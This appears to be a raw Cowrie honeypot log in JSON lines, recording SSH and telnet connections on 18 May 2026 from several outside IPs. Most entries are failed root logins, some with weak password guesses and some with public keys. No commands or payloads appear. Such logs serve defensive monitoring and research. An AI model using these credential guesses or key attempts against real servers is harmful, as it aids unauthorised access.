{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2w","message":"login attempt [root/1qaz2w] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:49:07.398555Z","src_ip":"87.251.79.125","session":"58a454e6fd4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:49:08.474911Z","src_ip":"87.251.79.125","session":"58a454e6fd4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37440,"dst_ip":"10.17.0.5","dst_port":23,"session":"40a137e359c2","protocol":"telnet","message":"New connection: 152.42.224.71:37440 (10.17.0.5:23) [session: 40a137e359c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:49:14.309433Z"}
{"eventid":"cowrie.session.closed","duration":54.85908341407776,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:49:18.249785Z","src_ip":"152.42.224.71","session":"03b8f54f6fa3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00268959999084,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:49:20.111418Z","src_ip":"152.42.224.71","session":"a006cf72e052","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":110.18703365325928,"message":"Connection lost after 110 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:49:29.097246Z","src_ip":"152.42.224.71","session":"3abf5755b28b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.60172891616821,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:49:29.264900Z","src_ip":"152.42.224.71","session":"90e04e69271b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58858,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff8c8024dcaa","protocol":"telnet","message":"New connection: 152.42.224.71:58858 (10.17.0.5:23) [session: ff8c8024dcaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:49:37.330057Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58862,"dst_ip":"10.17.0.5","dst_port":23,"session":"74f699c77b38","protocol":"telnet","message":"New connection: 152.42.224.71:58862 (10.17.0.5:23) [session: 74f699c77b38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:49:37.457222Z"}
{"eventid":"cowrie.session.closed","duration":81.8288345336914,"message":"Connection lost after 81 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:49:41.454002Z","src_ip":"152.42.224.71","session":"aa508bace8a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00317740440369,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:49:51.710862Z","src_ip":"152.42.224.71","session":"e5fcaa96c783","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34726,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f8539c1967e","protocol":"telnet","message":"New connection: 152.42.224.71:34726 (10.17.0.5:23) [session: 4f8539c1967e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:49:55.085963Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34738,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6486f2ced4c","protocol":"telnet","message":"New connection: 152.42.224.71:34738 (10.17.0.5:23) [session: e6486f2ced4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:49:56.690824Z"}
{"eventid":"cowrie.session.closed","duration":100.20033097267151,"message":"Connection lost after 100 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:50:03.836381Z","src_ip":"152.42.224.71","session":"9b5874d2c0a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55054,"dst_ip":"10.17.0.5","dst_port":23,"session":"79a8a23a4d85","protocol":"telnet","message":"New connection: 152.42.224.71:55054 (10.17.0.5:23) [session: 79a8a23a4d85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:50:07.899993Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55062,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa2e6d9f6d35","protocol":"telnet","message":"New connection: 152.42.224.71:55062 (10.17.0.5:23) [session: fa2e6d9f6d35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:50:08.685574Z"}
{"eventid":"cowrie.session.closed","duration":49.23997950553894,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:50:26.569909Z","src_ip":"152.42.224.71","session":"ff8c8024dcaa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34284,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3690b689e31","protocol":"telnet","message":"New connection: 152.42.224.71:34284 (10.17.0.5:23) [session: b3690b689e31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:50:29.613774Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34292,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa5086fa0b98","protocol":"telnet","message":"New connection: 152.42.224.71:34292 (10.17.0.5:23) [session: fa5086fa0b98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:50:33.111759Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49254,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b1394eb6d5e","protocol":"telnet","message":"New connection: 152.42.224.71:49254 (10.17.0.5:23) [session: 7b1394eb6d5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:50:37.202773Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":45690,"dst_ip":"159.203.135.109","dst_port":22,"session":"64866b13a686","protocol":"ssh","message":"New connection: 94.159.98.239:45690 (159.203.135.109:22) [session: 64866b13a686]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:50:42.680870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:50:42.689809Z","src_ip":"94.159.98.239","session":"64866b13a686","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:50:42.814460Z","src_ip":"94.159.98.239","session":"64866b13a686","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"monica","message":"login attempt [root/monica] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:50:43.227780Z","src_ip":"94.159.98.239","session":"64866b13a686","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:50:44.356808Z","src_ip":"94.159.98.239","session":"64866b13a686","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.85502076148987,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:50:46.540397Z","src_ip":"152.42.224.71","session":"fa2e6d9f6d35","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45718,"dst_ip":"10.17.0.5","dst_port":23,"session":"4829145d6b46","protocol":"telnet","message":"New connection: 152.42.224.71:45718 (10.17.0.5:23) [session: 4829145d6b46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:50:48.050967Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49614,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e7f4ae2db6a","protocol":"telnet","message":"New connection: 152.42.224.71:49614 (10.17.0.5:23) [session: 1e7f4ae2db6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:51:00.909752Z"}
{"eventid":"cowrie.session.closed","duration":33.591452836990356,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:51:10.794095Z","src_ip":"152.42.224.71","session":"7b1394eb6d5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34844,"dst_ip":"10.17.0.5","dst_port":23,"session":"6645bd2279b0","protocol":"telnet","message":"New connection: 152.42.224.71:34844 (10.17.0.5:23) [session: 6645bd2279b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:51:11.050082Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34856,"dst_ip":"10.17.0.5","dst_port":23,"session":"209f5939f460","protocol":"telnet","message":"New connection: 152.42.224.71:34856 (10.17.0.5:23) [session: 209f5939f460]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:51:12.225914Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34866,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d9825187a2b","protocol":"telnet","message":"New connection: 152.42.224.71:34866 (10.17.0.5:23) [session: 3d9825187a2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:51:13.799625Z"}
{"eventid":"cowrie.session.closed","duration":120.0014226436615,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:51:14.310710Z","src_ip":"152.42.224.71","session":"40a137e359c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55382,"dst_ip":"10.17.0.5","dst_port":23,"session":"7713f420de6a","protocol":"telnet","message":"New connection: 152.42.224.71:55382 (10.17.0.5:23) [session: 7713f420de6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:51:19.400308Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.238.24.130","src_port":52446,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e032af23407","protocol":"ssh","message":"New connection: 160.238.24.130:52446 (10.17.0.5:22) [session: 2e032af23407]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:51:21.657925Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:51:21.662043Z","src_ip":"160.238.24.130","session":"2e032af23407","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:51:21.792975Z","src_ip":"160.238.24.130","session":"2e032af23407","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2a:d1:9a:87:fa:c6:ee:11:71:fb:59:09:fa:b9:84:8c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZDEHSZR0K8RK4I0LRr56d2hFmTPkiTXma8X3Hvd60C8LMgHqPK27qik/EZ4WsnoYUzC3QbexD2tMSeJEx4RppNUsTBBLvYofXx79ksnXN5ykJbknUaWjP4fhZOLiLL8U6otOrsGRgnHRyqo6zn9uvnokq8UEoeLCdH29ANPN3Uhvgv3Amtc9VNkzqISGiIgEs6x6+mOXvby6raTalwdTMPZriZS4oEHNwMD2H+iRecwsnI/ggKUoSq1TYTMQuFMpxQ5so4j/IGJnCY5It3PG87MQB6mpAhNoQ5L+h2GWoPWVHepsx5j1cjMXYCSs2CgI6w1ASj8IaTNiFHieStlDb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2a:d1:9a:87:fa:c6:ee:11:71:fb:59:09:fa:b9:84:8c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:51:22.415914Z","src_ip":"160.238.24.130","session":"2e032af23407","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2a:d1:9a:87:fa:c6:ee:11:71:fb:59:09:fa:b9:84:8c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZDEHSZR0K8RK4I0LRr56d2hFmTPkiTXma8X3Hvd60C8LMgHqPK27qik/EZ4WsnoYUzC3QbexD2tMSeJEx4RppNUsTBBLvYofXx79ksnXN5ykJbknUaWjP4fhZOLiLL8U6otOrsGRgnHRyqo6zn9uvnokq8UEoeLCdH29ANPN3Uhvgv3Amtc9VNkzqISGiIgEs6x6+mOXvby6raTalwdTMPZriZS4oEHNwMD2H+iRecwsnI/ggKUoSq1TYTMQuFMpxQ5so4j/IGJnCY5It3PG87MQB6mpAhNoQ5L+h2GWoPWVHepsx5j1cjMXYCSs2CgI6w1ASj8IaTNiFHieStlDb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:51:22.420023Z","src_ip":"160.238.24.130","session":"2e032af23407","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"04:5b:bc:c7:2d:f9:4b:9b:78:8d:3f:9f:a9:75:84:c3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7HQ5AlUndD1nRDNOlk2D7rUV3cfLZXAfHQEJv5xixagu+kKKmRIyPFTNcqiTzCGX8G80NnkgOT9qt+VrUJMCHxhyuRYF9cKML8BlpQnGORijLucd3HXBmekBJsw/0Bblyq0GELas33+oMZ3VA/uq+O1d0NDRPYDGyPE7km0hxqeAbdpej9nTcu8eEKyP/ZA8rMeuemeVZRUZTNtGNcC53VHWX5bFskCM4+aWDKbTS1Jl3jj1WpziGYzO4faY7LuOeIFGZiay89vNU748wHh4FQjMcz7/bPMqkp4enoYYaMg7iVaRhOUW402vgbkA7TMVymfkFIQ5SIAi0HMCnVpUT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 04:5b:bc:c7:2d:f9:4b:9b:78:8d:3f:9f:a9:75:84:c3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:51:22.549931Z","src_ip":"160.238.24.130","session":"2e032af23407","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"04:5b:bc:c7:2d:f9:4b:9b:78:8d:3f:9f:a9:75:84:c3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7HQ5AlUndD1nRDNOlk2D7rUV3cfLZXAfHQEJv5xixagu+kKKmRIyPFTNcqiTzCGX8G80NnkgOT9qt+VrUJMCHxhyuRYF9cKML8BlpQnGORijLucd3HXBmekBJsw/0Bblyq0GELas33+oMZ3VA/uq+O1d0NDRPYDGyPE7km0hxqeAbdpej9nTcu8eEKyP/ZA8rMeuemeVZRUZTNtGNcC53VHWX5bFskCM4+aWDKbTS1Jl3jj1WpziGYzO4faY7LuOeIFGZiay89vNU748wHh4FQjMcz7/bPMqkp4enoYYaMg7iVaRhOUW402vgbkA7TMVymfkFIQ5SIAi0HMCnVpUT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:51:22.554410Z","src_ip":"160.238.24.130","session":"2e032af23407","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a1:c3:4a:ba:12:30:ce:d9:bb:2d:43:2e:83:e0:b2:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDFltY+S5dfhJLySW3Q6RBHWRu1mffu9vLllK2F/6FrSJQFfXYmmwz6c3keWeLHnWFg3M8EYITlpaapTLwDoxjhzUxUZaRXj7mQuwpVlkm+fYX9DtWtdABelkqlJT7jLitbpm/QnW81KyRyGqDDoG4nnLzVJSccVK8ylfROXjjWtLmY1TiLKwx8cRIQ1NzO9NJHaRwz//sp7DvJDji0naDYm6SXsj5FLm842tXz5U0rCTHrlW3Dm9DYKMYzDzYMxO0PZJN/afLSdBePysO4aKmhpztjyX2Fo7OCBzWbaKxkzcni9sI1wNVGpX5RI5GvNSQN8mOnywZF9Zds1p4bQ0t","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a1:c3:4a:ba:12:30:ce:d9:bb:2d:43:2e:83:e0:b2:af","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:51:22.687566Z","src_ip":"160.238.24.130","session":"2e032af23407","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a1:c3:4a:ba:12:30:ce:d9:bb:2d:43:2e:83:e0:b2:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDFltY+S5dfhJLySW3Q6RBHWRu1mffu9vLllK2F/6FrSJQFfXYmmwz6c3keWeLHnWFg3M8EYITlpaapTLwDoxjhzUxUZaRXj7mQuwpVlkm+fYX9DtWtdABelkqlJT7jLitbpm/QnW81KyRyGqDDoG4nnLzVJSccVK8ylfROXjjWtLmY1TiLKwx8cRIQ1NzO9NJHaRwz//sp7DvJDji0naDYm6SXsj5FLm842tXz5U0rCTHrlW3Dm9DYKMYzDzYMxO0PZJN/afLSdBePysO4aKmhpztjyX2Fo7OCBzWbaKxkzcni9sI1wNVGpX5RI5GvNSQN8mOnywZF9Zds1p4bQ0t","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:51:22.691712Z","src_ip":"160.238.24.130","session":"2e032af23407","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"28:7b:8d:66:9d:ea:4c:8b:a3:ce:0a:ef:fe:b2:47:b8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuj9xSUX9iC/ZcYjD4zbOF0i5og6IlwLRHFpt/hpeAIING406wS0SVWC7CersLyF6ydC5b8AcWqpvD+uFkfrJNIjU2ONBSvth8Fld4gTbGnxbB3ywjZQPuhvbZKTqKYRWYjL7MRswe/4aMvWaVsjbwZUzlsctkFs5QbKhd2HCkoi+PtLx+9D12RgJ42rgnfzYk9cOv/JuPNp+K7FUWFW6OLc67AyCI0du93hL76X+gO1DkOrFfRHZB+c2cVdeFDZa9l6m/DVWBBxTTDIl79ERvDoDlV1fuiY2aazkrKyd0Vkjyfge7wHBIrd0e+iS6ZxEKGth+tTmVjp7e9XK3xxLuw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 28:7b:8d:66:9d:ea:4c:8b:a3:ce:0a:ef:fe:b2:47:b8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:51:22.823437Z","src_ip":"160.238.24.130","session":"2e032af23407","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"28:7b:8d:66:9d:ea:4c:8b:a3:ce:0a:ef:fe:b2:47:b8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuj9xSUX9iC/ZcYjD4zbOF0i5og6IlwLRHFpt/hpeAIING406wS0SVWC7CersLyF6ydC5b8AcWqpvD+uFkfrJNIjU2ONBSvth8Fld4gTbGnxbB3ywjZQPuhvbZKTqKYRWYjL7MRswe/4aMvWaVsjbwZUzlsctkFs5QbKhd2HCkoi+PtLx+9D12RgJ42rgnfzYk9cOv/JuPNp+K7FUWFW6OLc67AyCI0du93hL76X+gO1DkOrFfRHZB+c2cVdeFDZa9l6m/DVWBBxTTDIl79ERvDoDlV1fuiY2aazkrKyd0Vkjyfge7wHBIrd0e+iS6ZxEKGth+tTmVjp7e9XK3xxLuw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:51:22.827118Z","src_ip":"160.238.24.130","session":"2e032af23407","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8b:65:5a:c7:14:a5:fb:05:a7:4d:23:82:aa:7c:f5:e4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCxqIeOO+txbCbQccAYpDf5Gwq/hkWF97tC9ZaNl9lLCPwNxpYhgTUxFeM6Bk7vN7DhEfyqjJ1NflmMBY5jYO6TridD2YdRTY1miblgRDdKHC7qK2Et0Bc1KEaupYeICqDl1uz9R7/kLStKLgm4CG7Bxd9t3EMxg4ZSUbwx3hyC9gkA7oWsqh/ttVqglE/KnB061nRuaArrjGO1DXL90mcOuZOXsAJ1qw/gh1gTyFq5hTpR1FZWrJsCuiE9Fb7NPipRhR/qcIq8w7MwpVL0KvgNRMjNf1TcJk9LRr3rQihQzfmmGdPvufP7Ljnh8ek/xC6eHVHfsvpOn0gZtBnQL8Ai/LrQ9M393uY+iwnCsRRtPB5wDJ/sWBbjZbNwlOxHQ05yJslsFsM+0iytzZsWoB/va40GxMxxHjrlvCyRI+5cvlLyeSJBs+QXpM2xcvqvL3zpcWBWiIbsOZJWMxzB9nVv6wDWWYjBKN/X2C0YvufMDR50V2t9Cl3u133Gwk1cWIk=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8b:65:5a:c7:14:a5:fb:05:a7:4d:23:82:aa:7c:f5:e4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:51:22.955758Z","src_ip":"160.238.24.130","session":"2e032af23407","protocol":"ssh"}
